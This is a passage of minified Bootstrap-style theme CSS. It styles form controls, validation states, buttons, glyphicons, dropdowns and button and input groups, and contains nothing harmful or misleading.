\9;line-height:normal}input[type="file"]{display:block}select[multiple],select[size]{height:auto}select optgroup{font-family:inherit;font-size:inherit;font-style:inherit}input[type="file"]:focus,input[type="radio"]:focus,input[type="checkbox"]:focus{outline:thin dotted #333;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}input[type="number"]::-webkit-outer-spin-button,input[type="number"]::-webkit-inner-spin-button{height:auto}output{display:block;padding-top:9px;font-size:14px;line-height:1.428571429;color:#555;vertical-align:middle}.form-control{display:block;width:100%;height:38px;padding:8px 12px;font-size:14px;line-height:1.428571429;color:#555;vertical-align:middle;background-color:#fff;background-image:none;border:1px solid #ccc;border-radius:4px;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075);box-shadow:inset 0 1px 1px rgba(0,0,0,0.075);-webkit-transition:border-color ease-in-out .15s,box-shadow ease-in-out .15s;transition:border-color ease-in-out .15s,box-shadow ease-in-out .15s}.form-control:focus{border-color:#66afe9;outline:0;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 8px rgba(102,175,233,0.6);box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 8px rgba(102,175,233,0.6)}.form-control:-moz-placeholder{color:#999}.form-control::-moz-placeholder{color:#999}.form-control:-ms-input-placeholder{color:#999}.form-control::-webkit-input-placeholder{color:#999}.form-control[disabled],.form-control[readonly],fieldset[disabled] .form-control{cursor:not-allowed;background-color:#eee}textarea.form-control{height:auto}.form-group{margin-bottom:15px}.radio,.checkbox{display:block;min-height:20px;padding-left:20px;margin-top:10px;margin-bottom:10px;vertical-align:middle}.radio label,.checkbox label{display:inline;margin-bottom:0;font-weight:normal;cursor:pointer}.radio input[type="radio"],.radio-inline input[type="radio"],.checkbox input[type="checkbox"],.checkbox-inline input[type="checkbox"]{float:left;margin-left:-20px}.radio+.radio,.checkbox+.checkbox{margin-top:-5px}.radio-inline,.checkbox-inline{display:inline-block;padding-left:20px;margin-bottom:0;font-weight:normal;vertical-align:middle;cursor:pointer}.radio-inline+.radio-inline,.checkbox-inline+.checkbox-inline{margin-top:0;margin-left:10px}input[type="radio"][disabled],input[type="checkbox"][disabled],.radio[disabled],.radio-inline[disabled],.checkbox[disabled],.checkbox-inline[disabled],fieldset[disabled] input[type="radio"],fieldset[disabled] input[type="checkbox"],fieldset[disabled] .radio,fieldset[disabled] .radio-inline,fieldset[disabled] .checkbox,fieldset[disabled] .checkbox-inline{cursor:not-allowed}.input-sm{height:30px;padding:5px 10px;font-size:12px;line-height:1.5;border-radius:3px}select.input-sm{height:30px;line-height:30px}textarea.input-sm{height:auto}.input-lg{height:56px;padding:14px 16px;font-size:18px;line-height:1.33;border-radius:6px}select.input-lg{height:56px;line-height:56px}textarea.input-lg{height:auto}.has-warning .help-block,.has-warning .control-label,.has-warning .radio,.has-warning .checkbox,.has-warning .radio-inline,.has-warning .checkbox-inline{color:#c09853}.has-warning .form-control{border-color:#c09853;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075);box-shadow:inset 0 1px 1px rgba(0,0,0,0.075)}.has-warning .form-control:focus{border-color:#a47e3c;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 6px #dbc59e;box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 6px #dbc59e}.has-warning .input-group-addon{color:#c09853;background-color:#fcf8e3;border-color:#c09853}.has-error .help-block,.has-error .control-label,.has-error .radio,.has-error .checkbox,.has-error .radio-inline,.has-error .checkbox-inline{color:#b94a48}.has-error .form-control{border-color:#b94a48;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075);box-shadow:inset 0 1px 1px rgba(0,0,0,0.075)}.has-error .form-control:focus{border-color:#953b39;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 6px #d59392;box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 6px #d59392}.has-error .input-group-addon{color:#b94a48;background-color:#f2dede;border-color:#b94a48}.has-success .help-block,.has-success .control-label,.has-success .radio,.has-success .checkbox,.has-success .radio-inline,.has-success .checkbox-inline{color:#468847}.has-success .form-control{border-color:#468847;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075);box-shadow:inset 0 1px 1px rgba(0,0,0,0.075)}.has-success .form-control:focus{border-color:#356635;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 6px #7aba7b;box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 6px #7aba7b}.has-success .input-group-addon{color:#468847;background-color:#dff0d8;border-color:#468847}.form-control-static{margin-bottom:0}.help-block{display:block;margin-top:5px;margin-bottom:10px;color:#959595}@media(min-width:768px){.form-inline .form-group{display:inline-block;margin-bottom:0;vertical-align:middle}.form-inline .form-control{display:inline-block}.form-inline .radio,.form-inline .checkbox{display:inline-block;padding-left:0;margin-top:0;margin-bottom:0}.form-inline .radio input[type="radio"],.form-inline .checkbox input[type="checkbox"]{float:none;margin-left:0}}.form-horizontal .control-label,.form-horizontal .radio,.form-horizontal .checkbox,.form-horizontal .radio-inline,.form-horizontal .checkbox-inline{padding-top:9px;margin-top:0;margin-bottom:0}.form-horizontal .form-group{margin-right:-15px;margin-left:-15px}.form-horizontal .form-group:before,.form-horizontal .form-group:after{display:table;content:" "}.form-horizontal .form-group:after{clear:both}.form-horizontal .form-group:before,.form-horizontal .form-group:after{display:table;content:" "}.form-horizontal .form-group:after{clear:both}.form-horizontal .form-group:before,.form-horizontal .form-group:after{display:table;content:" "}.form-horizontal .form-group:after{clear:both}.form-horizontal .form-group:before,.form-horizontal .form-group:after{display:table;content:" "}.form-horizontal .form-group:after{clear:both}.form-horizontal .form-group:before,.form-horizontal .form-group:after{display:table;content:" "}.form-horizontal .form-group:after{clear:both}.form-horizontal .form-control-static{padding-top:9px}@media(min-width:768px){.form-horizontal .control-label{text-align:right}}.btn{display:inline-block;padding:8px 12px;margin-bottom:0;font-size:14px;font-weight:normal;line-height:1.428571429;text-align:center;white-space:nowrap;vertical-align:middle;cursor:pointer;background-image:none;border:1px solid transparent;border-radius:4px;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none}.btn:focus{outline:thin dotted #333;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}.btn:hover,.btn:focus{color:#555;text-decoration:none}.btn:active,.btn.active{background-image:none;outline:0;-webkit-box-shadow:inset 0 3px 5px rgba(0,0,0,0.125);box-shadow:inset 0 3px 5px rgba(0,0,0,0.125)}.btn.disabled,.btn[disabled],fieldset[disabled] .btn{pointer-events:none;cursor:not-allowed;opacity:.65;filter:alpha(opacity=65);-webkit-box-shadow:none;box-shadow:none} +/*.btn-default{color:#555;background-color:#fff;border-color:rgba(0,0,0,0.1)} +.btn-default:hover,.btn-default:focus,.btn-default:active,.btn-default.active,.open .dropdown-toggle.btn-default{color:#555;background-color:#ebebeb;border-color:rgba(0,0,0,0.1)}.btn-default:active,.btn-default.active,.open .dropdown-toggle.btn-default{background-image:none}.btn-default.disabled,.btn-default[disabled],fieldset[disabled] .btn-default,.btn-default.disabled:hover,.btn-default[disabled]:hover,fieldset[disabled] .btn-default:hover,.btn-default.disabled:focus,.btn-default[disabled]:focus,fieldset[disabled] .btn-default:focus,.btn-default.disabled:active,.btn-default[disabled]:active,fieldset[disabled] .btn-default:active,.btn-default.disabled.active,.btn-default[disabled].active,fieldset[disabled] .btn-default.active{background-color:#fff;border-color:rgba(0,0,0,0.1)} + */ +.btn-primary{color:#fff;background-color:#2fa4e7;border-color:#2fa4e7}.btn-primary:hover,.btn-primary:focus,.btn-primary:active,.btn-primary.active,.open .dropdown-toggle.btn-primary{color:#fff;background-color:#1990d5;border-color:#1684c2}.btn-primary:active,.btn-primary.active,.open .dropdown-toggle.btn-primary{background-image:none}.btn-primary.disabled,.btn-primary[disabled],fieldset[disabled] .btn-primary,.btn-primary.disabled:hover,.btn-primary[disabled]:hover,fieldset[disabled] .btn-primary:hover,.btn-primary.disabled:focus,.btn-primary[disabled]:focus,fieldset[disabled] .btn-primary:focus,.btn-primary.disabled:active,.btn-primary[disabled]:active,fieldset[disabled] .btn-primary:active,.btn-primary.disabled.active,.btn-primary[disabled].active,fieldset[disabled] .btn-primary.active{background-color:#2fa4e7;border-color:#2fa4e7}.btn-warning{color:#fff;background-color:#dd5600;border-color:#dd5600}.btn-warning:hover,.btn-warning:focus,.btn-warning:active,.btn-warning.active,.open .dropdown-toggle.btn-warning{color:#fff;background-color:#b44600;border-color:#a03e00}.btn-warning:active,.btn-warning.active,.open .dropdown-toggle.btn-warning{background-image:none}.btn-warning.disabled,.btn-warning[disabled],fieldset[disabled] .btn-warning,.btn-warning.disabled:hover,.btn-warning[disabled]:hover,fieldset[disabled] .btn-warning:hover,.btn-warning.disabled:focus,.btn-warning[disabled]:focus,fieldset[disabled] .btn-warning:focus,.btn-warning.disabled:active,.btn-warning[disabled]:active,fieldset[disabled] .btn-warning:active,.btn-warning.disabled.active,.btn-warning[disabled].active,fieldset[disabled] .btn-warning.active{background-color:#dd5600;border-color:#dd5600}.btn-danger{color:#fff;background-color:#c71c22;border-color:#c71c22}.btn-danger:hover,.btn-danger:focus,.btn-danger:active,.btn-danger.active,.open .dropdown-toggle.btn-danger{color:#fff;background-color:#a3171c;border-color:#911419}.btn-danger:active,.btn-danger.active,.open .dropdown-toggle.btn-danger{background-image:none}.btn-danger.disabled,.btn-danger[disabled],fieldset[disabled] .btn-danger,.btn-danger.disabled:hover,.btn-danger[disabled]:hover,fieldset[disabled] .btn-danger:hover,.btn-danger.disabled:focus,.btn-danger[disabled]:focus,fieldset[disabled] .btn-danger:focus,.btn-danger.disabled:active,.btn-danger[disabled]:active,fieldset[disabled] .btn-danger:active,.btn-danger.disabled.active,.btn-danger[disabled].active,fieldset[disabled] .btn-danger.active{background-color:#c71c22;border-color:#c71c22}.btn-success{color:#fff;background-color:#73a839;border-color:#73a839}.btn-success:hover,.btn-success:focus,.btn-success:active,.btn-success.active,.open .dropdown-toggle.btn-success{color:#fff;background-color:#5e8a2f;border-color:#547a29}.btn-success:active,.btn-success.active,.open .dropdown-toggle.btn-success{background-image:none}.btn-success.disabled,.btn-success[disabled],fieldset[disabled] .btn-success,.btn-success.disabled:hover,.btn-success[disabled]:hover,fieldset[disabled] .btn-success:hover,.btn-success.disabled:focus,.btn-success[disabled]:focus,fieldset[disabled] .btn-success:focus,.btn-success.disabled:active,.btn-success[disabled]:active,fieldset[disabled] .btn-success:active,.btn-success.disabled.active,.btn-success[disabled].active,fieldset[disabled] .btn-success.active{background-color:#73a839;border-color:#73a839}.btn-info{color:#fff;background-color:#033c73;border-color:#033c73}.btn-info:hover,.btn-info:focus,.btn-info:active,.btn-info.active,.open .dropdown-toggle.btn-info{color:#fff;background-color:#02274b;border-color:#011d37}.btn-info:active,.btn-info.active,.open .dropdown-toggle.btn-info{background-image:none}.btn-info.disabled,.btn-info[disabled],fieldset[disabled] .btn-info,.btn-info.disabled:hover,.btn-info[disabled]:hover,fieldset[disabled] .btn-info:hover,.btn-info.disabled:focus,.btn-info[disabled]:focus,fieldset[disabled] .btn-info:focus,.btn-info.disabled:active,.btn-info[disabled]:active,fieldset[disabled] .btn-info:active,.btn-info.disabled.active,.btn-info[disabled].active,fieldset[disabled] .btn-info.active{background-color:#033c73;border-color:#033c73}.btn-link{font-weight:normal;color:#2fa4e7;cursor:pointer;border-radius:0}.btn-link,.btn-link:active,.btn-link[disabled],fieldset[disabled] .btn-link{background-color:transparent;-webkit-box-shadow:none;box-shadow:none}.btn-link,.btn-link:hover,.btn-link:focus,.btn-link:active{border-color:transparent}.btn-link:hover,.btn-link:focus{color:#157ab5;text-decoration:underline;background-color:transparent}.btn-link[disabled]:hover,fieldset[disabled] .btn-link:hover,.btn-link[disabled]:focus,fieldset[disabled] .btn-link:focus{color:#999;text-decoration:none}.btn-lg{padding:14px 16px;font-size:18px;line-height:1.33;border-radius:6px}.btn-sm,.btn-xs{padding:5px 10px;font-size:12px;line-height:1.5;border-radius:3px}.btn-xs{padding:1px 5px}.btn-block{display:block;width:100%;padding-right:0;padding-left:0}.btn-block+.btn-block{margin-top:5px}input[type="submit"].btn-block,input[type="reset"].btn-block,input[type="button"].btn-block{width:100%}.fade{opacity:0;-webkit-transition:opacity .15s linear;transition:opacity .15s linear}.fade.in{opacity:1}.collapse{display:none}.collapse.in{display:block}.collapsing{position:relative;height:0;overflow:hidden;-webkit-transition:height .35s ease;transition:height .35s ease}@font-face{font-family:'Glyphicons Halflings';src:url('../fonts/glyphicons-halflings-regular.eot');src:url('../fonts/glyphicons-halflings-regular.eot%3F') format('embedded-opentype'),url('../fonts/glyphicons-halflings-regular.woff') format('woff'),url('../fonts/glyphicons-halflings-regular.ttf') format('truetype'),url('../fonts/glyphicons-halflings-regular.svg') format('svg')}.glyphicon{position:relative;top:1px;display:inline-block;font-family:'Glyphicons Halflings';-webkit-font-smoothing:antialiased;font-style:normal;font-weight:normal;line-height:1;-moz-osx-font-smoothing:grayscale}.glyphicon:empty{width:1em}.glyphicon-asterisk:before{content:"\2a"}.glyphicon-plus:before{content:"\2b"}.glyphicon-euro:before{content:"\20ac"}.glyphicon-minus:before{content:"\2212"}.glyphicon-cloud:before{content:"\2601"}.glyphicon-envelope:before{content:"\2709"}.glyphicon-pencil:before{content:"\270f"}.glyphicon-glass:before{content:"\e001"}.glyphicon-music:before{content:"\e002"}.glyphicon-search:before{content:"\e003"}.glyphicon-heart:before{content:"\e005"}.glyphicon-star:before{content:"\e006"}.glyphicon-star-empty:before{content:"\e007"}.glyphicon-user:before{content:"\e008"}.glyphicon-film:before{content:"\e009"}.glyphicon-th-large:before{content:"\e010"}.glyphicon-th:before{content:"\e011"}.glyphicon-th-list:before{content:"\e012"}.glyphicon-ok:before{content:"\e013"}.glyphicon-remove:before{content:"\e014"}.glyphicon-zoom-in:before{content:"\e015"}.glyphicon-zoom-out:before{content:"\e016"}.glyphicon-off:before{content:"\e017"}.glyphicon-signal:before{content:"\e018"}.glyphicon-cog:before{content:"\e019"}.glyphicon-trash:before{content:"\e020"}.glyphicon-home:before{content:"\e021"}.glyphicon-file:before{content:"\e022"}.glyphicon-time:before{content:"\e023"}.glyphicon-road:before{content:"\e024"}.glyphicon-download-alt:before{content:"\e025"}.glyphicon-download:before{content:"\e026"}.glyphicon-upload:before{content:"\e027"}.glyphicon-inbox:before{content:"\e028"}.glyphicon-play-circle:before{content:"\e029"}.glyphicon-repeat:before{content:"\e030"}.glyphicon-refresh:before{content:"\e031"}.glyphicon-list-alt:before{content:"\e032"}.glyphicon-lock:before{content:"\e033"}.glyphicon-flag:before{content:"\e034"}.glyphicon-headphones:before{content:"\e035"}.glyphicon-volume-off:before{content:"\e036"}.glyphicon-volume-down:before{content:"\e037"}.glyphicon-volume-up:before{content:"\e038"}.glyphicon-qrcode:before{content:"\e039"}.glyphicon-barcode:before{content:"\e040"}.glyphicon-tag:before{content:"\e041"}.glyphicon-tags:before{content:"\e042"}.glyphicon-book:before{content:"\e043"}.glyphicon-bookmark:before{content:"\e044"}.glyphicon-print:before{content:"\e045"}.glyphicon-camera:before{content:"\e046"}.glyphicon-font:before{content:"\e047"}.glyphicon-bold:before{content:"\e048"}.glyphicon-italic:before{content:"\e049"}.glyphicon-text-height:before{content:"\e050"}.glyphicon-text-width:before{content:"\e051"}.glyphicon-align-left:before{content:"\e052"}.glyphicon-align-center:before{content:"\e053"}.glyphicon-align-right:before{content:"\e054"}.glyphicon-align-justify:before{content:"\e055"}.glyphicon-list:before{content:"\e056"}.glyphicon-indent-left:before{content:"\e057"}.glyphicon-indent-right:before{content:"\e058"}.glyphicon-facetime-video:before{content:"\e059"}.glyphicon-picture:before{content:"\e060"}.glyphicon-map-marker:before{content:"\e062"}.glyphicon-adjust:before{content:"\e063"}.glyphicon-tint:before{content:"\e064"}.glyphicon-edit:before{content:"\e065"}.glyphicon-share:before{content:"\e066"}.glyphicon-check:before{content:"\e067"}.glyphicon-move:before{content:"\e068"}.glyphicon-step-backward:before{content:"\e069"}.glyphicon-fast-backward:before{content:"\e070"}.glyphicon-backward:before{content:"\e071"}.glyphicon-play:before{content:"\e072"}.glyphicon-pause:before{content:"\e073"}.glyphicon-stop:before{content:"\e074"}.glyphicon-forward:before{content:"\e075"}.glyphicon-fast-forward:before{content:"\e076"}.glyphicon-step-forward:before{content:"\e077"}.glyphicon-eject:before{content:"\e078"}.glyphicon-chevron-left:before{content:"\e079"}.glyphicon-chevron-right:before{content:"\e080"}.glyphicon-plus-sign:before{content:"\e081"}.glyphicon-minus-sign:before{content:"\e082"}.glyphicon-remove-sign:before{content:"\e083"}.glyphicon-ok-sign:before{content:"\e084"}.glyphicon-question-sign:before{content:"\e085"}.glyphicon-info-sign:before{content:"\e086"}.glyphicon-screenshot:before{content:"\e087"}.glyphicon-remove-circle:before{content:"\e088"}.glyphicon-ok-circle:before{content:"\e089"}.glyphicon-ban-circle:before{content:"\e090"}.glyphicon-arrow-left:before{content:"\e091"}.glyphicon-arrow-right:before{content:"\e092"}.glyphicon-arrow-up:before{content:"\e093"}.glyphicon-arrow-down:before{content:"\e094"}.glyphicon-share-alt:before{content:"\e095"}.glyphicon-resize-full:before{content:"\e096"}.glyphicon-resize-small:before{content:"\e097"}.glyphicon-exclamation-sign:before{content:"\e101"}.glyphicon-gift:before{content:"\e102"}.glyphicon-leaf:before{content:"\e103"}.glyphicon-fire:before{content:"\e104"}.glyphicon-eye-open:before{content:"\e105"}.glyphicon-eye-close:before{content:"\e106"}.glyphicon-warning-sign:before{content:"\e107"}.glyphicon-plane:before{content:"\e108"}.glyphicon-calendar:before{content:"\e109"}.glyphicon-random:before{content:"\e110"}.glyphicon-comment:before{content:"\e111"}.glyphicon-magnet:before{content:"\e112"}.glyphicon-chevron-up:before{content:"\e113"}.glyphicon-chevron-down:before{content:"\e114"}.glyphicon-retweet:before{content:"\e115"}.glyphicon-shopping-cart:before{content:"\e116"}.glyphicon-folder-close:before{content:"\e117"}.glyphicon-folder-open:before{content:"\e118"}.glyphicon-resize-vertical:before{content:"\e119"}.glyphicon-resize-horizontal:before{content:"\e120"}.glyphicon-hdd:before{content:"\e121"}.glyphicon-bullhorn:before{content:"\e122"}.glyphicon-bell:before{content:"\e123"}.glyphicon-certificate:before{content:"\e124"}.glyphicon-thumbs-up:before{content:"\e125"}.glyphicon-thumbs-down:before{content:"\e126"}.glyphicon-hand-right:before{content:"\e127"}.glyphicon-hand-left:before{content:"\e128"}.glyphicon-hand-up:before{content:"\e129"}.glyphicon-hand-down:before{content:"\e130"}.glyphicon-circle-arrow-right:before{content:"\e131"}.glyphicon-circle-arrow-left:before{content:"\e132"}.glyphicon-circle-arrow-up:before{content:"\e133"}.glyphicon-circle-arrow-down:before{content:"\e134"}.glyphicon-globe:before{content:"\e135"}.glyphicon-wrench:before{content:"\e136"}.glyphicon-tasks:before{content:"\e137"}.glyphicon-filter:before{content:"\e138"}.glyphicon-briefcase:before{content:"\e139"}.glyphicon-fullscreen:before{content:"\e140"}.glyphicon-dashboard:before{content:"\e141"}.glyphicon-paperclip:before{content:"\e142"}.glyphicon-heart-empty:before{content:"\e143"}.glyphicon-link:before{content:"\e144"}.glyphicon-phone:before{content:"\e145"}.glyphicon-pushpin:before{content:"\e146"}.glyphicon-usd:before{content:"\e148"}.glyphicon-gbp:before{content:"\e149"}.glyphicon-sort:before{content:"\e150"}.glyphicon-sort-by-alphabet:before{content:"\e151"}.glyphicon-sort-by-alphabet-alt:before{content:"\e152"}.glyphicon-sort-by-order:before{content:"\e153"}.glyphicon-sort-by-order-alt:before{content:"\e154"}.glyphicon-sort-by-attributes:before{content:"\e155"}.glyphicon-sort-by-attributes-alt:before{content:"\e156"}.glyphicon-unchecked:before{content:"\e157"}.glyphicon-expand:before{content:"\e158"}.glyphicon-collapse-down:before{content:"\e159"}.glyphicon-collapse-up:before{content:"\e160"}.glyphicon-log-in:before{content:"\e161"}.glyphicon-flash:before{content:"\e162"}.glyphicon-log-out:before{content:"\e163"}.glyphicon-new-window:before{content:"\e164"}.glyphicon-record:before{content:"\e165"}.glyphicon-save:before{content:"\e166"}.glyphicon-open:before{content:"\e167"}.glyphicon-saved:before{content:"\e168"}.glyphicon-import:before{content:"\e169"}.glyphicon-export:before{content:"\e170"}.glyphicon-send:before{content:"\e171"}.glyphicon-floppy-disk:before{content:"\e172"}.glyphicon-floppy-saved:before{content:"\e173"}.glyphicon-floppy-remove:before{content:"\e174"}.glyphicon-floppy-save:before{content:"\e175"}.glyphicon-floppy-open:before{content:"\e176"}.glyphicon-credit-card:before{content:"\e177"}.glyphicon-transfer:before{content:"\e178"}.glyphicon-cutlery:before{content:"\e179"}.glyphicon-header:before{content:"\e180"}.glyphicon-compressed:before{content:"\e181"}.glyphicon-earphone:before{content:"\e182"}.glyphicon-phone-alt:before{content:"\e183"}.glyphicon-tower:before{content:"\e184"}.glyphicon-stats:before{content:"\e185"}.glyphicon-sd-video:before{content:"\e186"}.glyphicon-hd-video:before{content:"\e187"}.glyphicon-subtitles:before{content:"\e188"}.glyphicon-sound-stereo:before{content:"\e189"}.glyphicon-sound-dolby:before{content:"\e190"}.glyphicon-sound-5-1:before{content:"\e191"}.glyphicon-sound-6-1:before{content:"\e192"}.glyphicon-sound-7-1:before{content:"\e193"}.glyphicon-copyright-mark:before{content:"\e194"}.glyphicon-registration-mark:before{content:"\e195"}.glyphicon-cloud-download:before{content:"\e197"}.glyphicon-cloud-upload:before{content:"\e198"}.glyphicon-tree-conifer:before{content:"\e199"}.glyphicon-tree-deciduous:before{content:"\e200"}.caret{display:inline-block;width:0;height:0;margin-left:2px;vertical-align:middle;border-top:4px solid #fff;border-right:4px solid transparent;border-bottom:0 dotted;border-left:4px solid transparent}.dropdown{position:relative}.dropdown-toggle:focus{outline:0}.dropdown-menu{position:absolute;top:100%;left:0;z-index:1000;display:none;float:left;min-width:160px;padding:5px 0;margin:2px 0 0;font-size:14px;list-style:none;background-color:#fff;border:1px solid #ccc;border:1px solid rgba(0,0,0,0.15);border-radius:4px;-webkit-box-shadow:0 6px 12px rgba(0,0,0,0.175);box-shadow:0 6px 12px rgba(0,0,0,0.175);background-clip:padding-box}.dropdown-menu.pull-right{right:0;left:auto}.dropdown-menu .divider{height:1px;margin:9px 0;overflow:hidden;background-color:#e5e5e5}.dropdown-menu>li>a{display:block;padding:3px 20px;clear:both;font-weight:normal;line-height:1.428571429;color:#333;white-space:nowrap}.dropdown-menu>li>a:hover,.dropdown-menu>li>a:focus{color:#fff;text-decoration:none;background-color:#2fa4e7}.dropdown-menu>.active>a,.dropdown-menu>.active>a:hover,.dropdown-menu>.active>a:focus{color:#fff;text-decoration:none;background-color:#2fa4e7;outline:0}.dropdown-menu>.disabled>a,.dropdown-menu>.disabled>a:hover,.dropdown-menu>.disabled>a:focus{color:#999}.dropdown-menu>.disabled>a:hover,.dropdown-menu>.disabled>a:focus{text-decoration:none;cursor:not-allowed;background-color:transparent;background-image:none;filter:progid:DXImageTransform.Microsoft.gradient(enabled=false)}.open>.dropdown-menu{display:block}.open>a{outline:0}.dropdown-header{display:block;padding:3px 20px;font-size:12px;line-height:1.428571429;color:#999}.dropdown-backdrop{position:fixed;top:0;right:0;bottom:0;left:0;z-index:990}.pull-right>.dropdown-menu{right:0;left:auto}.dropup .caret,.navbar-fixed-bottom .dropdown .caret{border-top:0 dotted;border-bottom:4px solid #fff;content:""}.dropup .dropdown-menu,.navbar-fixed-bottom .dropdown .dropdown-menu{top:auto;bottom:100%;margin-bottom:1px}@media(min-width:768px){.navbar-right .dropdown-menu{right:0;left:auto}}.btn-default .caret{border-top-color:#555}.btn-primary .caret,.btn-success .caret,.btn-warning .caret,.btn-danger .caret,.btn-info .caret{border-top-color:#fff}.dropup .btn-default .caret{border-bottom-color:#555}.dropup .btn-primary .caret,.dropup .btn-success .caret,.dropup .btn-warning .caret,.dropup .btn-danger .caret,.dropup .btn-info .caret{border-bottom-color:#fff}.btn-group,.btn-group-vertical{position:relative;display:inline-block;vertical-align:middle}.btn-group>.btn,.btn-group-vertical>.btn{position:relative;float:left}.btn-group>.btn:hover,.btn-group-vertical>.btn:hover,.btn-group>.btn:focus,.btn-group-vertical>.btn:focus,.btn-group>.btn:active,.btn-group-vertical>.btn:active,.btn-group>.btn.active,.btn-group-vertical>.btn.active{z-index:2}.btn-group>.btn:focus,.btn-group-vertical>.btn:focus{outline:0}.btn-group .btn+.btn,.btn-group .btn+.btn-group,.btn-group .btn-group+.btn,.btn-group .btn-group+.btn-group{margin-left:-1px}.btn-toolbar:before,.btn-toolbar:after{display:table;content:" "}.btn-toolbar:after{clear:both}.btn-toolbar:before,.btn-toolbar:after{display:table;content:" "}.btn-toolbar:after{clear:both}.btn-toolbar:before,.btn-toolbar:after{display:table;content:" "}.btn-toolbar:after{clear:both}.btn-toolbar:before,.btn-toolbar:after{display:table;content:" "}.btn-toolbar:after{clear:both}.btn-toolbar:before,.btn-toolbar:after{display:table;content:" "}.btn-toolbar:after{clear:both}.btn-toolbar .btn-group{float:left}.btn-toolbar>.btn+.btn,.btn-toolbar>.btn-group+.btn,.btn-toolbar>.btn+.btn-group,.btn-toolbar>.btn-group+.btn-group{margin-left:5px}.btn-group>.btn:not(:first-child):not(:last-child):not(.dropdown-toggle){border-radius:0}.btn-group>.btn:first-child{margin-left:0}.btn-group>.btn:first-child:not(:last-child):not(.dropdown-toggle){border-top-right-radius:0;border-bottom-right-radius:0}.btn-group>.btn:last-child:not(:first-child),.btn-group>.dropdown-toggle:not(:first-child){border-bottom-left-radius:0;border-top-left-radius:0}.btn-group>.btn-group{float:left}.btn-group>.btn-group:not(:first-child):not(:last-child)>.btn{border-radius:0}.btn-group>.btn-group:first-child>.btn:last-child,.btn-group>.btn-group:first-child>.dropdown-toggle{border-top-right-radius:0;border-bottom-right-radius:0}.btn-group>.btn-group:last-child>.btn:first-child{border-bottom-left-radius:0;border-top-left-radius:0}.btn-group .dropdown-toggle:active,.btn-group.open .dropdown-toggle{outline:0}.btn-group-xs>.btn{padding:5px 10px;padding:1px 5px;font-size:12px;line-height:1.5;border-radius:3px}.btn-group-sm>.btn{padding:5px 10px;font-size:12px;line-height:1.5;border-radius:3px}.btn-group-lg>.btn{padding:14px 16px;font-size:18px;line-height:1.33;border-radius:6px}.btn-group>.btn+.dropdown-toggle{padding-right:8px;padding-left:8px}.btn-group>.btn-lg+.dropdown-toggle{padding-right:12px;padding-left:12px}.btn-group.open .dropdown-toggle{-webkit-box-shadow:inset 0 3px 5px rgba(0,0,0,0.125);box-shadow:inset 0 3px 5px rgba(0,0,0,0.125)}.btn-group.open .dropdown-toggle.btn-link{-webkit-box-shadow:none;box-shadow:none}.btn .caret{margin-left:0}.btn-lg .caret{border-width:5px 5px 0;border-bottom-width:0}.dropup .btn-lg .caret{border-width:0 5px 5px}.btn-group-vertical>.btn,.btn-group-vertical>.btn-group{display:block;float:none;width:100%;max-width:100%}.btn-group-vertical>.btn-group:before,.btn-group-vertical>.btn-group:after{display:table;content:" "}.btn-group-vertical>.btn-group:after{clear:both}.btn-group-vertical>.btn-group:before,.btn-group-vertical>.btn-group:after{display:table;content:" "}.btn-group-vertical>.btn-group:after{clear:both}.btn-group-vertical>.btn-group:before,.btn-group-vertical>.btn-group:after{display:table;content:" "}.btn-group-vertical>.btn-group:after{clear:both}.btn-group-vertical>.btn-group:before,.btn-group-vertical>.btn-group:after{display:table;content:" "}.btn-group-vertical>.btn-group:after{clear:both}.btn-group-vertical>.btn-group:before,.btn-group-vertical>.btn-group:after{display:table;content:" "}.btn-group-vertical>.btn-group:after{clear:both}.btn-group-vertical>.btn-group>.btn{float:none}.btn-group-vertical>.btn+.btn,.btn-group-vertical>.btn+.btn-group,.btn-group-vertical>.btn-group+.btn,.btn-group-vertical>.btn-group+.btn-group{margin-top:-1px;margin-left:0}.btn-group-vertical>.btn:not(:first-child):not(:last-child){border-radius:0}.btn-group-vertical>.btn:first-child:not(:last-child){border-top-right-radius:4px;border-bottom-right-radius:0;border-bottom-left-radius:0}.btn-group-vertical>.btn:last-child:not(:first-child){border-top-right-radius:0;border-bottom-left-radius:4px;border-top-left-radius:0}.btn-group-vertical>.btn-group:not(:first-child):not(:last-child)>.btn{border-radius:0}.btn-group-vertical>.btn-group:first-child>.btn:last-child,.btn-group-vertical>.btn-group:first-child>.dropdown-toggle{border-bottom-right-radius:0;border-bottom-left-radius:0}.btn-group-vertical>.btn-group:last-child>.btn:first-child{border-top-right-radius:0;border-top-left-radius:0}.btn-group-justified{display:table;width:100%;border-collapse:separate;table-layout:fixed}.btn-group-justified .btn{display:table-cell;float:none;width:1%}[data-toggle="buttons"]>.btn>input[type="radio"],[data-toggle="buttons"]>.btn>input[type="checkbox"]{display:none}.input-group{position:relative;display:table;border-collapse:separate}.input-group.col{float:none;padding-right:0;padding-left:0}.input-group .form-control{width:100%;margin-bottom:0}.input-group-lg>.form-control,.input-group-lg>.input-group-addon,.input-group-lg>.input-group-btn>.btn{height:56px;padding:14px 16px;font-size:18px;line-height:1.33;border-radius:6px}select.input-group-lg>.form-control,select.input-group-lg>.input-group-addon,select.input-group-lg>.input-group-btn>.btn{height:56px;line-height:56px}textarea.input-group-lg>.form-control,textarea.input-group-lg>.input-group-addon,textarea.input-group-lg>.input-group-btn>.btn{height:auto}.input-group-sm>.form-control,.input-group-sm>.input-group-addon,.input-group-sm>.input-group-btn>.btn{height:30px;padding:5px 